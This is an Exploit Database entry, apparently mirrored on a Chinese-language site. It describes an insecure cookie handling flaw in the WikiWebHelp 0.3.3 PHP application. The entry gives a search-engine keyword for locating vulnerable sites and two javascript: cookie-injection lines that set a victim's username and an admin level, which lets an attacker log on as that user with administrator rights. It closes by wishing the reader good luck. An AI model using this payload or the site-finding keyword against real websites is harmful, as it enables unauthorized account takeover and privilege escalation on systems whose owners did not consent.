WikiWebHelp 0.3.3 – Insecure Cookie Handling

• Exploit Database
• 118 阅读

• 作者： FuRty
  日期： 2010-10-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15268/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  =============================================== WikiWebHelp v0.3.3 <= Insecure Cookie Handling =============================================== ~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Author : FuRty [~] Contact : fir4t@fir4t.org ~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~Web App. : WikiWebHelp ~Version : 0.3.3 ~Software: http://sourceforge.net/projects/wwh/ ~Vendor : http://wikiwebhelp.org ~Vulnerability Style : Cookie Handling ~Google Keyword : Powered by WikiWebHelp [~]Date : "17.10.2010" ----------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~ Explotation ~~~~~~~~~~~ Browser Injection for handling() by Javascript-SQLi Codes ================================ Do not rush to primarily target the site, please register:)   javascript:document.cookie="loggedon=[VictimNICK];path=/"; javascript:document.cookie="level=admin;path=/"; ================================ [+]Cookie Browser Injected! [+]Logged on       Ýyi þanslar :C / GoodLuck